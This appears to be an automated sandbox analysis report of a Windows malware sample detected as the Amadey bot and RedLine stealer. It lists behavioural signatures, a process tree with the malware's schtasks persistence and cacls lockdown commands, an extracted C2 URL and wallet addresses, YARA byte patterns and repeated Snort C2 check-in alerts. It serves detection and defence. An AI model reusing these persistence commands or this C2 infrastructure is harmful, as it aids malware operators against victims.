Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	799407
MD5:	61a8c6a50c4a2c2990e45bc223464333
SHA1:	87334fa8b57e66c8193d9138f82f31caf2732d73
SHA256:	fe010d21711adca99ed52b577c6bf8e2919f5e08f3ce65ce446f1a92f87a7e34
Tags:	exe
Infos:

Detection

Amadey, RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected Amadeys stealer DLL

Detected unpacking (overwrites its own PE header)

Yara detected Amadey bot

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Yara detected Amadeys Clipper DLL

Disable Windows Defender real time protection (registry)

Machine Learning detection for sample

Contains functionality to inject code into remote processes

Uses schtasks.exe or at.exe to add and modify task schedules

Disable Windows Defender notifications (registry)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Binary contains a suspicious time stamp

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Enables debug privileges

Sample file is different than original file name gathered from version info

Uses cacls to modify the permissions of files

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

file.exe (PID: 6036 cmdline: C:\Users\user\Desktop\file.exe MD5: 61A8C6A50C4A2C2990E45BC223464333)

bjAg.exe (PID: 6052 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\bjAg.exe MD5: 014BF36C5CA48AF27042E0BAF0B6D951)

ajAf.exe (PID: 6068 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\ajAf.exe MD5: A00A64A5A243C8705D68786C6159E402)

nika.exe (PID: 1876 cmdline: C:\Users\user\AppData\Local\Temp\IXP001.TMP\nika.exe MD5: 7E93BACBBC33E6652E147E7FE07572A0)

xriv.exe (PID: 4980 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

mnolyk.exe (PID: 5752 cmdline: "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

schtasks.exe (PID: 5960 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe" /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5560 cmdline: "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "user:N"&&CACLS "mnolyk.exe" /P "user:R" /E&&echo Y|CACLS "..\4b9a106e76" /P "user:N"&&CACLS "..\4b9a106e76" /P "user:R" /E&&Exit MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5012 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 3300 cmdline: CACLS "mnolyk.exe" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 5100 cmdline: CACLS "mnolyk.exe" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cmd.exe (PID: 4148 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo Y" MD5: F3BDBE3BB6F734E357235F4D5898582D)

cacls.exe (PID: 6136 cmdline: CACLS "..\4b9a106e76" /P "user:N" MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

cacls.exe (PID: 5224 cmdline: CACLS "..\4b9a106e76" /P "user:R" /E MD5: 4CBB1C027DF71C53A8EE4C855FD35B25)

rundll32.exe (PID: 2552 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6120 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 1348 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP001.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

mnolyk.exe (PID: 4524 cmdline: C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe MD5: 8BB923C4D81284DAEF7896E5682DF6C6)

cleanup

Malware Configuration

Threatname: Amadey

{"C2 url": "62.204.41.4/Gol478Ns/index.php", "Version": "3.66"}

Threatname: Amadey

{"Wallet Addresses": ["bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77", "0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D", "LdYspWr6nkQ3ZNNTsmba77u4frHDhji1Nv", "DBjzffi3umhLQbUGLRoNQwZ4pjoKyNFahf", "42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikjVVJ"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000009.00000002.827863468.0000000000A72000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000002.414193208.00000000005F7000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1040:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.827977648.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.827863468.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000008.00000000.443338469.0000000000171000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.307249151.0000000004A44000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.445406570.0000000000171000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000000.445122215.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.581791427.0000000000A86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000009.00000002.827863468.0000000000A86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000003.390341867.0000000001FF0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000015.00000002.452140965.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.581742963.0000000000A72000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000009.00000003.581742963.0000000000A86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000015.00000000.451650195.0000000000D81000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.827863468.0000000000A39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.ajAf.exe.1fc0e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.ajAf.exe.1fc0e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.2.mnolyk.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.file.exe.4aa7620.0.raw.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
8.2.xriv.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.mnolyk.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.3.ajAf.exe.1ff0000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.3.ajAf.exe.1ff0000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
2.2.ajAf.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.ajAf.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
8.0.xriv.exe.170000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
20.2.rundll32.exe.6e7e0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
9.0.mnolyk.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.0.mnolyk.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.3.file.exe.4aa7620.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.ajAf.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.ajAf.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C4 88 44 24 2B 88 44 24 2F B0 3F 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
Click to see the 12 entries

Snort Signatures

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449780802027700 02/06/23-14:17:06.175418
SID:	2027700
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450240802027700 02/06/23-14:19:16.745453
SID:	2027700
Source Port:	50240
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449716802027700 02/06/23-14:16:36.096630
SID:	2027700
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449814802027700 02/06/23-14:17:21.151914
SID:	2027700
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449912802027700 02/06/23-14:17:47.771913
SID:	2027700
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449909802027700 02/06/23-14:17:47.051765
SID:	2027700
Source Port:	49909
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450237802027700 02/06/23-14:19:16.017120
SID:	2027700
Source Port:	50237
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450139802027700 02/06/23-14:18:49.109386
SID:	2027700
Source Port:	50139
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450209802027700 02/06/23-14:19:07.475846
SID:	2027700
Source Port:	50209
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450175802027700 02/06/23-14:18:59.121879
SID:	2027700
Source Port:	50175
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449847802027700 02/06/23-14:17:29.282944
SID:	2027700
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449749802027700 02/06/23-14:16:58.580580
SID:	2027700
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450016802027700 02/06/23-14:18:16.944191
SID:	2027700
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450114802027700 02/06/23-14:18:42.789843
SID:	2027700
Source Port:	50114
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450212802027700 02/06/23-14:19:08.785162
SID:	2027700
Source Port:	50212
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450273802027700 02/06/23-14:19:24.721440
SID:	2027700
Source Port:	50273
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450077802027700 02/06/23-14:18:33.758096
SID:	2027700
Source Port:	50077
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450170802027700 02/06/23-14:18:57.930319
SID:	2027700
Source Port:	50170
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449945802027700 02/06/23-14:17:57.866706
SID:	2027700
Source Port:	49945
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449839802027700 02/06/23-14:17:27.377568
SID:	2027700
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450167802027700 02/06/23-14:18:57.212252
SID:	2027700
Source Port:	50167
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450072802027700 02/06/23-14:18:31.495683
SID:	2027700
Source Port:	50072
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450049802027700 02/06/23-14:18:24.878641
SID:	2027700
Source Port:	50049
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450008802027700 02/06/23-14:18:14.977537
SID:	2027700
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450204802027700 02/06/23-14:19:06.078376
SID:	2027700
Source Port:	50204
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449744802027700 02/06/23-14:16:57.374562
SID:	2027700
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449940802027700 02/06/23-14:17:56.613135
SID:	2027700
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449998802027700 02/06/23-14:18:10.629964
SID:	2027700
Source Port:	49998
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449752802027700 02/06/23-14:16:59.309366
SID:	2027700
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449822802027700 02/06/23-14:17:23.172087
SID:	2027700
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450150802027700 02/06/23-14:18:53.180275
SID:	2027700
Source Port:	50150
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450080802027700 02/06/23-14:18:34.462036
SID:	2027700
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449870802027700 02/06/23-14:17:37.486432
SID:	2027700
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450044802027700 02/06/23-14:18:23.661387
SID:	2027700
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449917802027700 02/06/23-14:17:48.955073
SID:	2027700
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450245802027700 02/06/23-14:19:17.964918
SID:	2027700
Source Port:	50245
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449875802027700 02/06/23-14:17:38.674670
SID:	2027700
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449757802027700 02/06/23-14:17:00.537791
SID:	2027700
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450024802027700 02/06/23-14:18:18.856589
SID:	2027700
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

